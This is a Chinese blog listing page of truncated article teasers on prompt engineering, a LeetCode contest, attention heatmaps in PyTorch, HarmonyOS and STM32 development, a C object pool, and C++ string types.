深入剖析AI大模型:大模型时代的 Prompt 工程全解析
今天聊的内容,我认为是AI开发里面非常重要的内容。它在AI开发里无处不在,当你对 AI 助手说 "用李白的风格写一首关于人工智能的诗",或者让翻译模型 "将这段合同翻译成商务日语" 时,输入的这句话就是 Prompt。…...
第 86 场周赛:矩阵中的幻方、钥匙和房间、将数组拆分成斐波那契序列、猜猜这个单词
Q1、[中等] 矩阵中的幻方 1、题目描述 3 x 3 的幻方是一个填充有 从 1 到 9 的不同数字的 3 x 3 矩阵,其中每行,每列以及两条对角线上的各数之和都相等。 给定一个由整数组成的row x col 的 grid,其中有多少个 3 3 的 “幻方” 子矩阵&am…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...
基于鸿蒙(HarmonyOS5)的打车小程序
1. 开发环境准备 安装DevEco Studio (鸿蒙官方IDE)配置HarmonyOS SDK申请开发者账号和必要的API密钥 2. 项目结构设计 ├── entry │ ├── src │ │ ├── main │ │ │ ├── ets │ │ │ │ ├── pages │ │ │ │ │ ├── H…...
基于单片机的宠物屋智能系统设计与实现(论文+源码)
本设计基于单片机的宠物屋智能系统核心是实现对宠物生活环境及状态的智能管理。系统以单片机为中枢,连接红外测温传感器,可实时精准捕捉宠物体温变化,以便及时发现健康异常;水位检测传感器时刻监测饮用水余量,防止宠物…...
怎么开发一个网络协议模块(C语言框架)之(六) ——通用对象池总结(核心)
+---------------------------+ | operEntryTbl[] | ← 操作对象池 (对象数组) +---------------------------+ | 0 | 1 | 2 | ... | N-1 | +---------------------------+↓ 初始化时全部加入 +------------------------+ +-------------------------+ | …...
STM32标准库-ADC数模转换器
文章目录 一、ADC1.1简介1. 2逐次逼近型ADC1.3ADC框图1.4ADC基本结构1.4.1 信号 “上车点”:输入模块(GPIO、温度、V_REFINT)1.4.2 信号 “调度站”:多路开关1.4.3 信号 “加工厂”:ADC 转换器(规则组 注入…...
简单介绍C++中 string与wstring
在C中,string和wstring是两种用于处理不同字符编码的字符串类型,分别基于char和wchar_t字符类型。以下是它们的详细说明和对比: 1. 基础定义 string 类型:std::string 字符类型:char(通常为8位)…...
